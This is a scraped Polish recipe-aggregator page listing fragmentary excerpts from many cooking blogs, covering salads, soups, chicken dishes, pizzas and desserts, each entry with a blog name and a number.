minut w 180 º C. Musztardę wymieszaj z miodem a następnie z jogurtem naturalnym. Na koniec dopraw świeżo mielonym czarnym pieprzem. Liście sałaty ułóż na talerzu, polej wcześniej przygotowanym sosem musztardowym. Na wierzch ułóż pieczone słodkie ziemniaki, ziarenka granatu oraz posyp nerkowcami

wysmienity
Krem z pomidorów à la Krwawa Mary 213

się lekko skarmelizowała. Dodaj posiekany czosnek oraz pokrojony seler naciowy. Chwilę podsmaż i zalej pomidorami oraz 2 szklankami wody. Gotuj około 15 minut. Dopraw do smaku miodem, solą, pieprzem, sosem tabasco oraz oregano. Całość zmiksuj. Możesz podawać z grzankami serowymi

wysmienity
Sałatka z figami, serem wensleydale, soczewicą oraz musztardowym sosem. 198

porcje: 4 dojrzałe figi 100g sera wensleydale 50g ugotowanej czerwonej soczewicy czubata łyżka musztardy francuskiej łyżeczka miodu 2 łyżki oliwy z oliwek sól, pieprz mieszanka sałat Sposób przygotowania: Sos: musztardę wymieszaj z miodem, solą i pieprzem. Następnie energicznie mieszając dolewaj oliwę z oliwek aż winegret stanie się gęsty i kremowy. Na talerzu ułóż wszystkie składniki: sałatę, soczewicę, figi (rozkrojone

wysmienity
Lasagne dyniowo - szpinakowa - zdrowy, warzywny obiad 241

Dopraw solą, pieprzem, gałką muszkatołową, imbirem oraz kurkumą. Naczynie do pieczenia wysmaruj masłem, na spód wlej odrobinę mleka. Następnie przejdź do składania lasagne. Na początku makaron, puree z dyni, sos beszamelowy oraz szpinak. Całość powtórz. Zakryj folią aluminiową i piecz godzinę w temperaturze 180 º C. Podawaj z sałatką

wysmienity
GOLONKI Z KURCZAKA W SOKU Z POMARAŃCZY Z PUREE Z BROKUŁA 185

jest gotowe.  Brokuł gotujemy w lekko osolonej wodzie do miękkości, odcedzamy i dodajemy masło, blendujemy. Na talerz wykładamy porcję puree, na to kładziemy 2 golonki i polewamy odrobiną sosu pomarańczowego. Podajemy z ulubioną surówką i kiełkami.  Smacznego

Kulinarne Fantazje Marioli
Kotleciki z warzyw z rosołu 250

marnujemy jedzenia. Zawsze staram się wykorzystywać tak zwane „resztki”. Gdy zostanie mi miseczka zupy, nie wylewam jej, tylko na następny dzień na jej bazie przygotowuję np. sos do kaszy lub makaronu. Gdy ugotuję za dużo kaszy, dodaję ją potem do sałatek lub nawet koktajli. Pozostałe ziemniaki dodaję do…ciasta drożdżowego :) A gdy gotuję bulion lub rosół

Mienta blog
Jajka zapiekane w szynce 252

minut jeżeli chcemy, aby żółtko było ścięte. Natomiast jeżeli preferujemy płynne żółtko czas zapiekania skrócić do 15 min. Podawać posypując szczypiorkiem lub natką pietruszki. Jajka takie wspaniale smakują z sosem chrzanowym. Smacznego :) Kategoria: A-Z WYTRAWNIE Tagged: jajka , wędlina

https:KKuchniaMniam
Gluten - o co tu chodzi? 179

eliminują. A przynajmniej postaram się ten gluten zmniejszyć w naszej diecie. Przeczytałam także, że osoby mające grupę krwi 0 gorzej znoszą gluten w pożywieniu. Gluten znajduję się także w sosie sojowym, a w mojej kuchni bardzo lubię go dodawać do różnych dań.  Mam do Was wielką prośbę, podzielcie się w komentarzach swoimi spostrzeżeniami na ten temat. Może podrzucicie jakieś

Codzienna kuchnia niecodzienna
Kurczak z bambusem 224

Składniki: 1 filet z kurczaka 1 słoik pędów bambusa w zalewie 1/2 puszki kukurydzy 1 cebula 1/2 słoiczka koncentratu pomidorowego pieprz, przyprawa chińska, sos sojowy, mielony imbir, trawa cytrynowa olej … Czytaj dalej Kurczak z bambusem

czarrna od kuchni
Kurczak po węgiersku 172

Kurczak po węgiersku to tradycyjne piersi kurczaka podane z dużą ilością cebuli – idealne na obiad. Przygotowanie zajęło mi niespełna godzinę – mięso i sos musiało się poddusić. Przepis wyciągnęłam z jednej z książek kucharskich mojej mamy. Z poniżej wymienionych składników przygotowałam 4 porcje: dla dwójki dorosłych i dwójki dzieci i została dokładka 🙂 Składniki na: Kurczak... Read More The post

Magiczny Garnek
Została Ci kasza z obiadu? Zrób najlepsze wytrawne gofry! 204

łyżka oleju ze słoiczka z suszonymi pomidorami - posiekana natka pietruszki W/w składniki wymieszaj ze sobą. PONADTO: - garść świeżej rukoli - 2 duże grube plastry wędzonego łososia dodatkowo możesz użyć sosu czosnkowego, do wzmocnienia smaku gofrów, bądź posypać je posiekanymi orzechami

SMYKWKUCHNI
Sycylijska macedonia dla dorosłych 196

salonu dobiegało niemiłosiernie głośne chrapanie teścia ululanego macedonią. Trochę przegiął wtedy , szczególnie jeśli wychowany na winie ,a wódki nie pijący nigdy. Zresztą nikt mu nie kazał wypijać całego sosu z sałatki! Obiad zjedliśmy bez niego. Składniki owoce tropikalne Hortex  (opakowanie jest 450 g) sok jabłko i limonka z kwiatem dzikiej róży Hortex  ( sok ma zakryć poziom owoców) dość

Z Kuchni Do Kuchni
Sałatka z kurczakiem i awokado w sosie musztardowym 195

obiad, kolację lub zabrać ze sobą do pracy. To świetna propozycja na pyszny i pożywny posiłek. Polecam!! Post Sałatka z kurczakiem i awokado w sosie musztardowym pojawił się poraz pierwszy w Marta Gotuje

Marta Gotuje
Pasta z makreli wędzonej i sera białego 161

tylko z tego względu, że akurat w sklepie była świeża dostawa. Możecie użyć dowolnej ryby wędzonej czy nawet ryby z puszki. Tata często robił taką pastę ze szprotek w sosie pomidorowym. Ja takie pasty robione na szybko, kojarzę z dzieciństwa. Byle dodatek, kilka machnięć widelcem i była pasta. A i dziecko było zadowolone, że jakieś urozmaicenie kanapki. Pamiętam jeszcze pastę

Mieszam w Garnku
MIELONE ZAWIJASY Z NIESPODZIANKĄ W ŚRODKU 20700

moje kiełbaski otuliłam sałatą i plasterkami topionego sera, co dodatkowo wzbogacio smak dania.  Przepis jest prosty i może być fajną alternatywą  dla klasycznych mielonych 🍴 U mnie z sosem pieczarkowym ,ziemniakami i warzywami 😋 Składniki : kilka sztuk białych, cienkich kiełbasek kilka liści sałaty (ew. kapusty pekińskiej) tyle samo ile kiełbasek - plastrów topionego, żółtego sera mięso mielone (u mnie łopatka - ilość

Walijskie Pichcenie
Churros czekoladowe / Chocolate churros 279

prawdę szybko i szczerze mówiąc, trudno je zepsuć Te z przepisu Damiana wychodzą nieznacznie mniej puszyste niż moje wcześniejsze, jednak wciąż są bardzo smaczne, a podałam go z sosem czekoladowo-kawowym . Polecam gorąco! Scroll down for recipe in English Churros czekoladowe (4-6 porcji) Składniki: 250 ml mleka 100 g masła 200 g mąki 4 jajka 1 łyżka kakao

karmelowy
Makaron z tuńczykiem i suszonymi pomidorami 236

niezwykle prosty i szybki w wykonaniu. Makaron z tuńczykiem i suszonymi pomidorami – składniki (na 2 porcje) 12-14 suszonych pomidorów 1 mała cebula 1 puszka tuńczyka (najlepiej w sosie własnym) 2 szklanki makarony np. rurki Makaron z tuńczykiem i suszonymi pomidorami – przepis Cebulę drobno siekamy i szklimy na oliwie z suszonych pomidorów. Pomidory kroimy w większą kostkę

Kulinarnyblog.pl - wiesz jak gotować!
Kotlety mielone z karpia 171

czosnek dodałem do zmielonego mięsa z karpia, dodałem pokrojone żurawiny. Doprawiłem sola i pieprzem. Uformowałem małe kotlety, obtoczyłem je w zmielonym, suchym chlebie razowym, usmażyłem na patelni. Podałem z sosem

R'n'G Kitchen
Drożdżowe pyzy 320

wodę, na górę garnka nakładamy gazę i obwiązujemy sznurkiem, na to układamy pyzy i przykrywamy duża miską. W ten sposób gotujemy pyzy przez około 10 minut. Podajemy z ciemnym sosem pieczeniowym. Ja podałam pyzy z gulaszem i marchewka z groszkiem

Delusional Trine
Ryba zapiekana z ziemniakami 221

zapiekana z ziemniakami i szpinakiem. Można wykorzystać każdą rybę (filety) bez ości. Przygotowanie jest bardzo szybkie i łatwe. Bardzo lubię taką rybę zapiekaną z warzywami, ziemniakami czy w samym sosie. Inne przepisy i pomysły na ryby znajdziecie w zakładce RYBY. Zapraszam również do zakładki ZAPIEKANKI. Składniki 6-7 średnich ziemniaków 700 g filetów rybnych (dałam pangę) 2 garście świeżego szpinaku

O kuchni z uczuciem
“Opowiadania drewnianego stołu” – recenzja 179

koktajl z suszonych śliwek. Chętnie zjadłabym pikantną sałatkę z owoców w marynacie, pieczoną ricotte z pamezanem, pasztet z wątróbek, omlet biszkoptowy, sałatkę z fenkuła i truskawek, warzywne spaghetti z sosem cytrynowym, meksykański chłodnik, kalafiorową zupę z krewetkami, sałatkę z ziemniaków i kalafiora, ziemniaczane hasselbacki, pęczotto z burakami i malinami czy sałatkę z kiełków gryczanych A na deser? Brzoskwinie pieczone

Ugotowane pozamiatane
Deser a'la szarlotka z kremem 197

dzień wcześniej).  Składniki (na 4 porcje): 4 jabłka (antonówka, szara reneta) 2 łyżki cukru łyżeczka cynamonu 8 ciastek pełnoziarnistych typu digestive 200ml śmietanki 30% 2 łyżki płatków migdałowych sos czekoladowy budyń: 1,5 szklanki mleka 1 żółtko 1 łyżka mąki pszennej 1 łyżeczka mąki ziemniaczanej 2 płaskie łyżki cukru waniliowego Ugotować budyń: żółtko rozetrzeć z cukrem, wsypać obie mąki

Obiad gotowy
Pieczarki portobello , faszerowane soczewicą 212

płaskie łyżki domowej Vegety śródziemnomorskiej ( przepis tu ) lub kupnej -ale polecam swojską , bez konserwantów i innych .. 1 łyżka klarowanego masła kawałek masła do wysmarowania blachy sól , pieprz do smaku sos beszamelowy : przepis znajdziecie tutaj , nie będę powtarzać , skoro już na blogu jest dodatkowo : 1/2 pęczka koperku do posypania Pieczarki oczyszczamy z zanieczyszczeń, nie myjemy . Wyłamujemy ogonki , solimy , pieprzymy , odkładamy

Ogrodnik w podróży
Salsa z pomidorów i kolendry 201

kalorycznie potrawami. Ja użyłam jej do tacos z wieprzowiną.     Składniki: 2 pomidory 1/2 świeżego ogórka 1 łyżka posiekanej kolendry 1/3 papryczki chili 1/2 białej cebuli kilka kropel sosu tabasko 1 łyżeczka soku z limonki   Wykonanie: Pomidory naciąć na krzyż, włożyć do miseczki i zalać wrzątkiem. Przelać po Czytaj dalej... Artykuł Salsa z pomidorów i kolendry pochodzi

Pasja Smaku
Łosoś z pesto w wolnowarze 221

Kolejny wygodny sposób na rybę. Tak przygotowany łosoś był aromatyczny i nie przesuszony. Użyłam gotowego pesto, co znacznie przyspieszyło przygotowanie. Rybę można podać z ryżem, smaczny będzie też sos na bazie jogurtu - z czosnkiem lub koperkiem. Polecam inspiracja  tutaj składniki - 2 porcje ok 400 g filet z łososia ze skórą (miałam dzikiego łososia  pacyficznego) pesto sól, pieprz cytryna

Stare Gary
Pizza z grzybami, dynią i owczym serem do góry nogami 192

pizza jest olbrzymich rozmiarów, rodzinna. Właściwie upiekłam dwie, pizza prosciutto wszyscy znacie…Ostatnio przypadła mi do smaku pizza z grzybami i owczym serem. Pizza nietypowa, bez sosu, a ser wędruje na spód pizzy pierwszy. Jakie grzyby używacie do pizzy? Zimą zadowalam się pieczarkami. Bardzo lubię dzikie pieczarki i takie usmażyłam do pizzy. Tak, tak usmażyłam je na maśle

codojedzenia
Pulpety z feta, szpinakiem w pomidorach 200

Prosty, szybki, pyszny i zdrowy obiad. Polecam pulpety ze szpinakiem i owczą fetą. Zwykłe, niezwykłe proste klopsiki z sosem pomidorowym to prosty sposób na pyszny obiad dla całej rodziny. Zamiast fety można użyć np ricotty. W wersji mniej dietetycznej np mozzarelli. Polecam. Czytaj więcej

Bernika - moj kulinarny pamietnik
Ziemniaki faszerowane, zapiekane... 192

piekarnika i już można je było podać na stół. Najbardziej smakują kiedy są jeszcze ciepłe. Takie faszerowane ziemniaki można podać z mięsem,   z ulubioną surówką, lub tylko z sosem Tak wyglądają. A jak smakują? Musicie przekonać się sami. Życzę SMACZNEGO! Krys Dziękuję za odwiedziny na moim blogu. Będzie mi miło, jeśli zostawisz komentarz

Kuchnia u Krysi
Zapiekanka chłopska 434

Prosta, ale i bardzo smaczna zapiekanka :-). Dawno nie było, teraz nadrabiam zaległości. Ziemniaki, kiełbasa, u mnie dodatkowo brokuł, cebula i sos. Naprawdę byłam zaskoczona smakiem :-). Polecam :-)  Miłego piątku :-) Składniki: 8 większych ziemniaków 4 laski kiełbasy np śląskiej (u mnie małe) 2-3 cebule 20 dkg startego żółtego sera brokuł 200 ml śmietanki 12%  masło do wysmarowania naczynia szczypiorek

kruche babeczki
Kremowy omlet z ricottą i zielonym groszkiem 192

omlet odrobinę zetnie się - należy posypać go zielonym groszkiem (*) oraz szczypiorkiem. Całość smażyć na małym ogniu, pod przykryciem do momentu otrzymania ściętego wierzchu. Podawać bezpośrednio po przygotowaniu z ulubionym sosem, bądź świeżymi warzywami. (*) Mrożony groszek należy uprzednio rozmrozić.     Polecam indukcyjną patelnię granitową Ballarini BOLOGNA GRANITIUM . Wyróżnia się ona solidnym wykonaniem i doskonałą jakością. Szczególną uwagę zwraca dno - promieniście

Di gotuje
Kluski śląskie ze szpinakiem 202

mrożonego szpinaku, doprawiłam solą, wyciśniętym ząbkiem czosnku i łyżką jogurtu naturalnego. Smaki pasowały do siebie idealnie 👌 Do kluseczków można również podać duszone, pieczone lub grillowane warzywa. Znakomicie pasują rożne sosy w szczególności  pieczarkowy i grzybowy. Nie wspomnę o gulaszu wołowym lub wieprzowym! To dopiero poezja smaków 😋 Spróbujcie

Kulinarne przemyslenia
Risotto brokułowe z mahoniowym kurczakiem 168

szklanka , białego wina pół-wytrawnego 2 ząbki czosnku 3 łyżki startego parmezanu sól , pieprz do smaku oliwa z oliwek pozostałe : 4 piersi z kurczaka ( jedna na osobę ) 4 łyżki sosu terijaki 1 łyżeczka czosnku granulowanego 1 łyżeczka ostrej papryki mielonej 1 łyżeczka miodu sól do smaku Składniki na marynatę do kurczaka , mieszamy razem i pokrywamy nimi piersi z kurczaka , odstawiamy

Ogrodnik w podróży
Mintaj z brokułami 612

cukrem - wrzuć podzielone i umyte różyczki brokuła i gotuj ok. 6 minut. Po wyjęciu z piekarnika odwiń rybkę i połóż na talerz, dodaj ziemniaki i brokuły. Różyczki brokuła polej sosem z ziemniaków

Alutka-Gotuje
Migdałowa babka 210

wiele cennych witamin i minerałów, jak witamina E, żelazo, wapń czy potas. Mąka wspaniale nadaje się do słodkich wypieków, najróżniejszych placuszków, gofrów, a nawet zagęszczania zup czy sosów. Mąkę migdałową można również spokojnie dodawać do owsianek, sałatek itd. Polecam, warto spróbować tego wspaniałego produktu. Mąka zakupiona na BioIndygo.pl spełniła w pełni moje oczekiwania. Produkt bardzo dobrej jakości, idealnie zmielony. Warto

Słodkie okruszki
Kurczak w cieście kokosowym 204

szybkie w realizacji i pyszne danie. Kurczak w cieście kokosowym, to soczyste kawałki mięsa w chrupiącej, kokosowej skorupce smażone na głębokim tłuszczu. Najlepiej smakuje podawany z ryżem i ostrym sosem słodko-kwaśnym. Piersi z kurczaka pokroić na grubą kostkę (2 na 2 cm). Posolić, popieprzyć i odstawić na bok.  Wszystkie składniki na ciasto wymieszać bardzo dokładnie i dodać tyle

Świat Domowej Kuchni
CHILI CON CARNE 252

piekarnika. W momencie kiedy skórka papryki będzie czarna przełóż ją do spożywczego worka strunowego i zamknij. DODAJ FASOLĘ DO mięsa i pomidorów, mieszaj co jakiś czas przez 40 minut. Sos powinien dość solidnie się zredukować, jeśli będzie go za mało, podlej wodą i mieszaj od czasu do czasu. PAPRYKI PO OKOŁO 15 minutach powinny być zaparzone, delikatnie zdejmij skórkę starając

Kuchnia bezglutenowa Loli
CHILI CON CARNE 252

piekarnika. W momencie kiedy skórka papryki będzie czarna przełóż ją do spożywczego worka strunowego i zamknij. DODAJ FASOLĘ DO mięsa i pomidorów, mieszaj co jakiś czas przez 40 minut. Sos powinien dość solidnie się zredukować, jeśli będzie go za mało, podlej wodą i mieszaj od czasu do czasu. PAPRYKI PO OKOŁO 15 minutach powinny być zaparzone, delikatnie zdejmij skórkę starając

Kuchnia bezglutenowa Loli
Pita 148

Pita, czyli okrągłe, pszenne, płaskie placki, popularne w krajach Bliskiego Wschodu i Maghrebu. Jedzone są najczęściej z pikantnymi sosami. Mają tę właściwość, że podczas pieczenia pęcznieją, tworząc naturalną kieszonkę na farsz. Ja moje chlebki podałam z humusem – smakują pysznie. Trochę jak nasze podpłomyki, których tak dawno nie jadłam

KuchniaWeDwoje.pl
Pierś kurczaka ze szpinakiem i serem feta 182

podsmażonego i odciśniętego szpinaku. Na wierzchu równomiernie rozkruszyć ser feta. Piec bez przykrycia w nagrzanym do 180 stopni C piekarniku (góra-dół) około 30 minut. Jeśli lubimy dania z sosami, to zagotować i odparować powstały po pieczeniu sok z kilkoma łyżkami dobrej śmietany. Przyprawić pieprzem i solą do smaku. Zobacz również: Kurczak imbirowy z miodem

Kuchcik gotuje
Kurczak w pięciu smakach 187

Danie kuchni chińskiej - kurczak w pięciu smakach. Idealne połączenie gorzkiego, kwaśnego, słonego, słodkiego i ostrego smaku. Post Kurczak w pięciu smakach pojawił się poraz pierwszy w

Pancook
Spaghetti z sosem śmietanowym 200

Coś idealnego na szybki obiad we włoskim stylu. Post Spaghetti z sosem śmietanowym pojawił się poraz pierwszy w PanCook - Przepisy Kulinarne

Pancook
Purée z dyni 201

Purée z dyni , zwane też musem albo przecierem dyniowym, to doskonała metoda wstępnego przygotowania dyni, która otwiera drogę do wykorzystania jej w wypiekach, zupach, sosach, zapiekankach, dżemach i innych daniach. Purée z dyni można długo przechowywać w zamrażarce albo zawekowane w słoikach. Do sporządzenia purée nadaje się dowolna odmiana jadalnej dyni (poza dynią makaronową), ja najczęściej używam najpopularniejszej chyba

PaleoSMAK
Kanapka ze smażoną białą kiełbasą i szpinakiem 182

się trochę tłuszczu dodajemy cebulę. Kiedy się zarumieni dodajemy szpinak, czosnek i przyprawy. Gdy szpinak się usmaży i straci na objętości, kroimy pieczywo na kromki. Każdą kromki zamaczymy z sosie, który wytworzył się na patelni. Na kromce układamy łyżkę szpinaku i kilka kawałków białej kiełbasy.   Lubisz moje wpisy? Bądź na bieżąco na Facebooku i Instagramie !     Artykuł Kanapka

Ugotowane pozamiatane
Domowe krakersy z czarnuszką 241

Karnawał ! Imprezy, hulanki i swawole ! Czas zabawy trwa w najlepsze ! Dlatego podrzucam  Wam bardzo prosty przepis na fajną przekąskę: domowe krakersy z czarnuszką. Do tego jakiś prosty dip, sos, hummus  czy pasta i będzie pysznie. Zawsze też fajnie się sprawdzają  serowe słone paluszki z kminkiem  czy też  serowe ciasteczka  z  pastą łososiową . Niedługo

Kulinarne przygody Gatity
Omlet biszkoptowy z koktajlem truskawkowym i kokosem 167

śniadanie są zawsze najlepsze, nie trzeba zresztą mieć pełnej lodówki żeby przygotować przepyszne śniadanie! Dzisiaj zrobiłam delikatny, puszysty omlet biszkoptowy, który podałam z koktajlem truskawkowym, jako dodatek w postaci sosu. Prosty przepis, a w kilka minut mamy gotowe śniadanie, ale i wspaniały pomysł na podwieczorek. Możesz wykorzystać inne owoce, zwłaszcza te, które zamroziłeś latem! Palce lizać! Omlet biszkoptowy z koktajlem

Moja smaczna kuchnia
Flaczki z jarzyn 170

flaczki są 👌 Składniki: -4 małe marchewki -2 pietruszki  -pół selera -por cześć zielona  -cebula -ugotowany makaron wstążki lub usmażony naleśnik -4 liście laurowe -4 ziela anielskie -łyżka sosu sojowego -dwie łyżki octu jabłkowego lub soku z cytryny -łyżka majeranku -łyżeczka gałki muszkatołowej -łyżeczka curry -2 ząbki czosnku -sól,  pieprz -50 g masła Marchewkę, pietruszkę i seler kroimy

Kulinarne przemyslenia
Walentynkowy obiad śląski 251

spłaszczonej kluseczek zrobiłam serduszka. Ugotowałam je w osolonej solą morską wodzie. Po wyłożeniu kluseczek na każdej ułożyłam serduszko wycięte z papryki. No i jeszcze modra kapusta i rolada z sosem

Gotuj Sam!
Żeberka z grzybami i ziemniakami jako danie jednogarnkowe. 212

dusimy aż do miękkości, w razie potrzeby podlewamy wodą. Ziemniaki obieramy i na patelni na większym ogniu przyrumieniamy je lekko ze wszystkich stron. Pod koniec duszenia mięsa dodajemy do sosu ziemniaki i dusimy jeszcze ok 15 min, aż ziemniaki będą miękkie. Zalecam zostawi jeszcze na 10 min potrawę pod przykryciem

Gotowanie jest łatwe
Dom Polski na Belwederskiej – recenzja restauracji 183

musem z koziego sera Bio, karmelizowaną cebulą i żurawiną. Krem z pieczonego buraka z kuleczkami koziego sera i jajkiem przepiórczym Comber z sarny z knedlem ze śliwką podaną w sosie wiśniowym Tarta z kwaśnym kremem cytrynowym z kawałkami kruchej słodkiej bezy Właścicielka restauracji żartobliwie określa się ostatnią kucharką litewską, ze względu na swoje nazwisko panieńskie. Dba, żeby produkty były najwyższej

Ugotowane pozamiatane
Sałata ze śmietaną, pomarańczami i mandarynkami 197

lodówki 4 mandarynki z lodówki   Jak przygotować sałatę ze śmietaną, pomarańczami i mandarynkami?   Śmietanę mieszamy z cukrem, pieprzem i cytryną. Sałatę rwiemy lub kroimy nożem ceramicznym. Polewamy sosem. Cytrusy obieramy ze skórki. Jeśli się spieszymy to po prostu kroimy je na segmenty nożem. Jeśli chcemy, żeby była to sałatka na wyjątkową okazję to filetujemy segmenty pomarańczy, tak żeby

Ugotowane pozamiatane
Zapiekanka ryżowa z kurczakiem 156

filetów z kurczaka 1 cebula 6 ogórków konserwowych 1 papryka czerwona 1 mała puszka kukurydzy 200 g startego sera żółtego 1 łyżka przyprawy gyros 3 łyżki oleju rzepakowego Sos: 4 łyżki ketchupu 3 łyżki majonezu 100 ml słodkiej śmietany 18% 2 ząbki czosnku 1/2 łyżeczki mielonej ostrej papryki     Przygotowanie   Normal 0 21 false false false MicrosoftInternetExplorer4 Ryż

R'n'G Kitchen
Maślany kurczak po indyjsku 187

konieczne. Na głębokiej patelni, w rondlu lub woku rozgrzać masło z oliwą i zeszklić na niej cebulę pokrojoną w drobną kostkę.  Na patelnię dodać kurczaka z całym sosem jogurtowo - pomidorowym, zamieszać i smażyć przez kilka minut.  Dodać połowę posiekanej kolendry, wymieszać i jeszcze chwilę gotować, do czasu aż kurczak nie będzie surowy. Pod koniec gotowania do maślanego kurczaka

Codzienne Gotowanie
Paprykarz z tuńczykiem 213

Jeśli lubicie paprykarz, mam dla Was propozycję na domowy paprykarz z tuńczykiem. Paprykarz z tuńczykiem jest delikatny, lekko rybny. Może się skusicie? Składniki: 1 puszka tuńczyka w sosie własnym 60 g ryżu 1 duża cebula 2 średnie marchewki 3 ząbki czosnku 80 g przecieru pomidorowego 1 płaska łyżeczka słodkiej papryki 1/2 płaskiej łyżeczki papryki ostrej szczypta mielonych liści laurowych

Smak mojego domu
Koktajl witaminowy z pomarańczy i marchewki 187

musu użyłam marchewkowe spaghetti od  Fit&Easy . Powiem szczerze, że jestem zachwycona takim produktem. Makaron z warzyw idealnie nadaje się do dań na ciepło, do surówek, z sosami jak i koktajli. Marchewka jest soczysta i pyszna! 2 pomarańcze 2 jabłka 1 szklanka marchewkowego spaghetti Fit&Easy  (opcjonalnie 2 marchewki) 1 łyżka miodu Z pomarańczy dokładnie wyciskamy

VioletoweKucharzenie
Makaron z krewetkami i chili w sosie pomidorowym (Pasta in salsa di pomodoro, peperoncino e gamberetti) 200

Doprawiamy chili, solą i pieprzem. Wszystkie składniki dokładnie mieszamy i podsmażamy ok. 5 minut.  W międzyczasie gotujemy makaron. Ugotowany makaron odcedzamy i łączymy z sosem. Makaron posypujemy świeżo zmielonym czarnym pieprzem i tymiankiem. **** PREPARAZIONE In una padella scaldate 2 cucchiai di olio, aggiungete lo scalogno tritato. Lasciate cuocere a fuoco vivace. Aggiungete i gamberi

La grande e la piccola cuoca
Skrzydełka pieczone na słodko kwaśno 264

berberys, a następnie kalafior. Smaż przez 5 minut, mieszając od czasu do czasu. Na koniec wsyp brukselkę, natkę. Dopraw solą i smaż aż pilaf będzie ciepły. Upieczone skrzydełka polej sosem i podaj z kalafiorowym pilafem limonką. The post Skrzydełka pieczone na słodko kwaśno appeared first on Blog kulinarny - codojedzenia.pl

codojedzenia
Żółte naleśniki zapiekane z kurczakiem i brokułem 247

góra i dół. Złożone naleśniki ułożyć na blaszce lub naczyniu żaroodpornym, posypać startym serem i zapiekać do rozpuszczenia sera w piekarniku nagrzanym na 180 C , funkcja termoobieg. Podawać z sosem czosnkowym

Monia miesza i gotuje
Surówka z kapusty 279

Składniki: 1/4 małej główki białej kapusty 1 marchewka 2 ogórki konserwowe sól 1 saszetka sosu cezar Fanex Przygotowanie: Kapustę drobno poszatkować i posolić, kiedy puści sok odcisnąć. Marchewkę obrać i … Czytaj dalej Surówka z kapusty

czarrna od kuchni
Gołąbki Babci z Farszem Wieprzowo-Wołowym, Ryżem i Kaszą - przepis podstawowy 266

stopni. Możemy także gołąbki umieścić w dużym garnku, zalać wodą i dusić na kuchence. Gołąbki dusimy ponad godzinę, a nawet dłużej. Kapusta ma być miękka. Podajemy z sosem, np. gr zy bowym, pomidorowym .   Moje posty

Słodka Strona
Pizza "Od serca" 202

Mozzarellę w kulce kroimy na plastry i również układamy. Możemy raz jeszcze oprószyć przyprawami. Pizzę pieczemy w nagrzanym do 200st C piekarniku ok 12-15minut. Podajemy z ulubionymi sosami

Kuchnia w czekoladzie
Domowa pizza z wędliną i kukurydzą. 251

pizzy. Wkładamy do piekarnika i pieczemy koło 10 min. Po tym czasie wykładamy starty ser i pieczemy do czasu aż się rozpuści a pizza lekko zarumieni. Podajemy z ulubionym sosem. Smacznego

Radość kipiąca uśmiechem.
Sałatka z pora i pieczarek z dodatkami 152

drobna kostkę, pieczarki i pomidorki kroimy na 4 części. Majonez łączymy z jogurtem naturalnym i musztard ą . Gdy por zrobi się miękki to łączymy go z pozostałymi warzywami, dodajemy sos majonezowy i przyprawiamy sałatkę do smaku sol ą  i pieprzem. Smacznego

kulinarne odsłony pati
Golonka w piwie 262

podczas pieczenia), układamy w brytfance lub naczyniu żaroodpornym  i zalewamy piwem. Pieczemy około godziny w piekarniku nagrzanym do 180 stopni. W czasie pieczenia kilkukrotnie podlewamy wywarem lub z sosem z pieczenia

Państwo Wojtczuk gotują
Sos żurawinowy 189

poniższym zdjęciu sos żurawinowy w towarzystwie gęsiny

Państwo Wojtczuk gotują
Jajka w sosie jabłkowo chrzanowym 136

ścieramy na tarce o grubych oczkach, łączymy z chrzanem, śmietaną i majonezem, doprawiamy do smaku solą i cukrem. Jajka kroimy na pół, wykładasz na półmisek. Na każdej połówce kładziemy sos i dekorujemy szczypiorkiem

Państwo Wojtczuk gotują
Wieprzowina z marchewką i trawą cytrynową 163

wieprzowiny (ja wzięłam łopatkę), 2 duże marchewki, 3 liście laurowe, pieprz mielony, kawałek trawy cytrynowej (ja miałam mrożoną), grubszy plasterek cytryny ze skórką (wcześniej dokładnie umyty), sos sojowy (ciut). Przygotowanie: wieprzowinę kroimy w kostkę i wrzucamy do garnka na rozgrzany tłuszcz. Mięso się podsmaża, a w tym czasie kroimy marchewkę. Następnie dorzucamy marchewkę do mięsa, podlewamy wodą, wkładamy kawałek trawy

Państwo Wojtczuk gotują
Sałatka z rukolą na słodko 140

brzoskwinia z puszki, żurawiny, rodzynki, pestki dyni, jogurt naturalny, majonez, czosnek. Przygotowanie: Rukolę przełożyć do miski, brzoskwinie i ananasa pokroić w kostkę, dodać żurawinę, rodzynki, podprażone pestki dyni. Polać sosem przygotowanym z jogurtu, majonezu i czosnku. Doprawić solą i pieprzem

Państwo Wojtczuk gotują
Placuszki z cukinii, kurczaka i żółtego sera 271

umyć, jeśli jest duża z grubą skórą to obrać i wyjąć pestki, jeżeli młoda zetrzeć w całości. Cukinie posolić i odstawić na jakies 20 minut. Po tym czasie odlać sos , który wyciekł z cukinii. Kurczaka pokroić w drobne kawałki i dołożyć do cukini, obsypać mąką, wbić jajka, dodac starty ser, doprawić solą, pieprzem, papryką i wymieszać. Smażyć na rumiano

Państwo Wojtczuk gotują
Kurczak pieczony 146

szklanki wody (jak naczynie większe to i 3 możemy wlać) i wkładamy do nagrzanego do 180 st. piekarnika i pieczemy ok 1 1/2 godz co jakiś czas podlewając sosem (moje kurczaki ważyły

Państwo Wojtczuk gotują
Tort waniliowy z musem truskawkowym 165

bułką tartą. Pieczemy w 160 st. ok. 40 minut. Mus: do garnka wkładamy truskawki, zasypujemy cukrem i gotujemy. Następnie truskawki przekładamy do blendera i blendujemy, a wygotowany z nich sos odlewamy do garnka - wykorzystamy go do ponczu.  Krem: Serek waniliowy miksujemy, żeby nadać mu puszystości. W innej misce ubijamy śmietanę na sztywno z cukrem pudrem, ziarenkami wanilii i śmietanfixem

Państwo Wojtczuk gotują
Zupa pomidorowa z serduszkiem 138

mogłam się nie pytać, bo byłam na 95% pewna, że powie pomidorówka. Jeszcze jakieś 1,5 roku temu byłby żurek, teraz się zmieniło. Po zrobieniu bulionu, odkręcam butelki z sosem pomidorowym, podnoszę wieczko i co widzę ... serduszko ... mina moja i dzieciaków, które mi towarzyszyły przy gotowaniu bezcenna :) Składniki: mięso np. łopatka, marchewka, pietruszka, seler, cebula, koncentrat pomidorowy (ja daję albo

Państwo Wojtczuk gotują
Sałatka z tofu w sosie cytrynowo kolendrowo miętowym 145

zależne od smaku, u mnie więcej kolendry niż mięty), plasterek cytryny, pokrojony czosnek (u mnie 1/2 ząbka, bo jeszcze do ludzi będę dziś wychodziła :)), ciut posolić - zmiksować. Sałatkę polać sosem i na wierzchu popieprzyć

Państwo Wojtczuk gotują
Sałatka warstwowa z tuńczykiem. 147

Składniki na warstwową sałatkę z tuńczykiem: 4 jajka por 3 ogórki konserwowe 2 puszki tuńczyka w sosie własnym 2-3 łyżki majonezu sól, pieprz puszka kukurydzy 150 g sera żółtego Sposób przygotowania sałatki z tuńczykiem - układamy warstwowo. Jajka gotujemy, studzimy. Białko drobno kroimy i układamy na samym dole miski. Por siekamy i układamy na białka. Następnie układamy drobno posiekane ogórki

Pani domowa
